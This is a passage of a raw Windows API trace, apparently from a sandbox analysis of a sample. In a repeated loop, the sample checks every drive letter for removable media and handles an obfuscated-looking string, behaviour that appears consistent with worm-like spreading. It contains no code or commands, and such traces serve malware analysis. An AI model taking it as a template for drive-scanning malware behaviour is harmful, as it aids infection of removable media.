RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1488 [0171.726] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.726] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0171.726] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0171.726] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0171.726] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0171.726] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0171.727] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0171.727] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0171.727] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0171.727] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0171.727] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0171.727] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0171.728] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0171.728] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0171.728] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0171.728] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0171.728] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0171.728] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0171.729] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0171.729] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0171.729] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0171.729] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0171.729] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0171.729] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0171.729] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0171.730] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0171.730] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0171.730] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1488 | out: hHeap=0xe80000) returned 1 [0171.730] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf268 | out: hHeap=0xe80000) returned 1 [0171.730] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0171.731] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076aa8 | out: hHeap=0xe80000) returned 1 [0171.731] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0171.731] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0171.731] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0171.731] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768e0 [0171.731] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf308 [0171.731] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a30 [0171.731] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0171.731] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a90 | out: hHeap=0xe80000) returned 1 [0171.731] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.731] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf378 [0171.731] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a90 [0171.732] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf388 [0171.732] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xefe798 [0171.732] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768f8 [0171.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.732] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a90 | out: hHeap=0xe80000) returned 1 [0171.732] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768f8 | out: hHeap=0xe80000) returned 1 [0171.732] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefe798 | out: hHeap=0xe80000) returned 1 [0171.732] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0171.732] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf378 | out: hHeap=0xe80000) returned 1 [0171.732] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec650 [0171.732] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.733] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec650 | out: hHeap=0xe80000) returned 1 [0171.733] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.733] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2958 | out: hHeap=0xe80000) returned 1 [0171.733] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0171.733] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0171.733] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0171.733] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a30 | out: hHeap=0xe80000) returned 1 [0171.733] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768e0 | out: hHeap=0xe80000) returned 1 [0171.733] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0171.734] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0171.734] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768c8 | out: hHeap=0xe80000) returned 1 [0171.734] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.734] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0171.734] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0171.734] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.735] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf358 [0171.735] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed28c8 [0171.735] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.735] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed28c8 | out: hHeap=0xe80000) returned 1 [0171.735] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0171.735] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1076940 [0171.735] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2ef8 [0171.735] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.736] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0171.736] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0171.736] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076910 [0171.736] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3b8 [0171.736] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769b8 [0171.736] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3b8 | out: hHeap=0xe80000) returned 1 [0171.736] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076928 [0171.736] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076868 [0171.736] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf368 [0171.736] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf308 [0171.736] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1488 [0171.736] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.736] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0171.736] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0171.736] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0171.736] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0171.737] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0171.737] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0171.737] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0171.737] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0171.737] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0171.737] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0171.738] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0171.738] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0171.738] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0171.738] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0171.738] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0171.738] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0171.739] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0171.739] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0171.739] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0171.739] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0171.739] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0171.739] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0171.740] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0171.740] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0171.740] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0171.740] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0171.741] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1488 | out: hHeap=0xe80000) returned 1 [0171.741] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0171.741] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769b8 | out: hHeap=0xe80000) returned 1 [0171.741] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076910 | out: hHeap=0xe80000) returned 1 [0171.742] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0171.742] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0171.742] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1640 [0171.742] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0171.742] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf428 [0171.742] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a90 [0171.742] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076aa8 [0171.742] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076928 | out: hHeap=0xe80000) returned 1 [0171.742] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.742] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf268 [0171.742] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a30 [0171.742] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2b8 [0171.742] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xefe618 [0171.743] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0171.743] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.743] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a30 | out: hHeap=0xe80000) returned 1 [0171.743] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0171.743] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefe618 | out: hHeap=0xe80000) returned 1 [0171.743] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2b8 | out: hHeap=0xe80000) returned 1 [0171.743] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf268 | out: hHeap=0xe80000) returned 1 [0171.743] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec850 [0171.743] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.743] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec850 | out: hHeap=0xe80000) returned 1 [0171.743] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.744] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2ef8 | out: hHeap=0xe80000) returned 1 [0171.744] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0171.745] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf368 | out: hHeap=0xe80000) returned 1 [0171.745] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076aa8 | out: hHeap=0xe80000) returned 1 [0171.745] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a90 | out: hHeap=0xe80000) returned 1 [0171.745] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0171.745] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0171.745] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1640 | out: hHeap=0xe80000) returned 1 [0171.745] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076940 | out: hHeap=0xe80000) returned 1 [0171.745] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.745] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf378 [0171.745] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf378 | out: hHeap=0xe80000) returned 1 [0171.745] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.745] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf358 [0171.745] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed3060 [0171.746] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.746] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed3060 | out: hHeap=0xe80000) returned 1 [0171.746] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0171.746] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1076a18 [0171.746] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2f40 [0171.746] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.746] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf418 [0171.746] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1640 [0171.746] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076868 [0171.746] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf268 [0171.746] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a30 [0171.746] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf268 | out: hHeap=0xe80000) returned 1 [0171.746] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a48 [0171.746] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0171.746] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3b8 [0171.747] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf308 [0171.747] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0171.747] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.747] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0171.747] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0171.747] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0171.747] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0171.747] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0171.748] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0171.748] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0171.748] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0171.748] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0171.748] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0171.748] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0171.749] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0171.749] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0171.749] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0171.749] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0171.749] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0171.750] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0171.750] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0171.750] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0171.781] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0171.781] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0171.781] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0171.781] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0171.782] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0171.782] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0171.782] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0171.783] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0171.783] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0171.783] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a30 | out: hHeap=0xe80000) returned 1 [0171.783] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0171.783] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1640 | out: hHeap=0xe80000) returned 1 [0171.783] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0171.783] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0171.783] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076aa8 [0171.783] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf308 [0171.784] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076868 [0171.784] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a30 [0171.784] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a48 | out: hHeap=0xe80000) returned 1 [0171.784] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.784] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2b8 [0171.784] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768c8 [0171.784] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf438 [0171.784] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xefe5f8 [0171.784] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0171.784] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.784] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768c8 | out: hHeap=0xe80000) returned 1 [0171.784] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0171.784] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefe5f8 | out: hHeap=0xe80000) returned 1 [0171.784] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0171.784] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2b8 | out: hHeap=0xe80000) returned 1 [0171.784] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec650 [0171.784] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.785] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec650 | out: hHeap=0xe80000) returned 1 [0171.785] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.785] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2f40 | out: hHeap=0xe80000) returned 1 [0171.785] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0171.785] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3b8 | out: hHeap=0xe80000) returned 1 [0171.785] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a30 | out: hHeap=0xe80000) returned 1 [0171.785] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0171.785] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076aa8 | out: hHeap=0xe80000) returned 1 [0171.785] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0171.786] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0171.786] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a18 | out: hHeap=0xe80000) returned 1 [0171.786] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.786] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf268 [0171.786] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf268 | out: hHeap=0xe80000) returned 1 [0171.786] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.786] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf268 [0171.786] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2e20 [0171.786] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.787] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2e20 | out: hHeap=0xe80000) returned 1 [0171.787] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf268 | out: hHeap=0xe80000) returned 1 [0171.787] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1076868 [0171.787] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2e20 [0171.787] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.787] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf368 [0171.787] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0171.787] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a48 [0171.787] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0171.787] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0171.787] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0171.787] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769b8 [0171.787] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769a0 [0171.787] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf418 [0171.787] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3c8 [0171.787] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1488 [0171.787] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.787] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0171.788] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0171.788] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0171.788] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 